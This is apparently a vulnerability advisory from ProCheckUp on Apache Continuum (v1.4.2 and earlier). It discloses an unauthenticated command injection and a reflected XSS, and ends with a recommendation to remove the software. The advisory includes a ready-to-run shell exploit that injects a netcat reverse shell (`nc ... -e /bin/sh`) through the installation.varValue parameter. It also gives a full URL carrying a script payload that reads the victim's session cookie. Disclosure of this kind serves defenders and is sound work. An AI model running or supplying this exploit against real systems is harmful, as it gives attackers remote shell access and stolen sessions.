--- Description ---
 
Apache Continuum is a continuous integration server for building Java projects https://continuum.apache.org/
ProCheckUp has discovered that Apache Continuum is vulnerable to an unauthenticated command injection attack and reflected XSS.
 
1) Command injection
 
Vulnerable URL - https://127.0.0.1:8080/continuum/saveInstallation.action
 
Vulnerable Parameter - installation.varValue
 
#!/bin/sh
 
if [ $# -eq 0 ]
    then
    echo "$0 <rhost> <rport> <lhost> <lport>"
    echo "Remember to set up your netcat listener"
    exit 1
fi
 
cmd="\`nc $3 $4 -e /bin/sh\`"
 
echo "\n\t[ Apache Continuum <= v1.4.2 CMD Injection ]"
echo "\t\t[ Procheckup - David Shanahan ]\n"
curl https://$1:$2/continuum/saveInstallation.action --data "installation.name=blah&installation.type=jdk&installation.varValue=$cmd"
 
 
2) Reflected XSS
 
The cross site scripting attack works against authenticated users only. An example attack would be to send an authenticated user (let's say the admin) the malicious URL.
If the victim is logged in and accesses the URL, the attacker could steal the victim's session cookie and impersonate them.
 
Vulnerable URL - https://127.0.0.1:8080/continuum/security/useredit_confirmAdminPassword.action?userAdminPassword=&username=guest&user.username=guest<script>alert(document.cookie)</script>&user.fullName=Guest&user.email=blah@procheckup.com&user.password=password&user.confirmPassword=password&user.timestampAccountCreation=&user.timestampLastLogin=&user.timestampLastPasswordChange=&user.locked=false&user.passwordChangeRequired=false&method:confirmAdminPassword=Submit&cancel=Cancel<https://127.0.0.1:8080/continuum/security/useredit_confirmAdminPassword.action?userAdminPassword=&username=guest&user.username=guest%3cscript%3ealert(document.cookie)%3c/script%3e&user.fullName=Guest&user.email=blah@procheckup.com&user.password=password&user.confirmPassword=password&user.timestampAccountCreation=&user.timestampLastLogin=&user.timestampLastPasswordChange=&user.locked=false&user.passwordChangeRequired=false&method:confirmAdminPassword=Submit&cancel=Cancel>
 
Fix:
The Apache Continuum project is no longer maintained. Removal of the software is recommended.
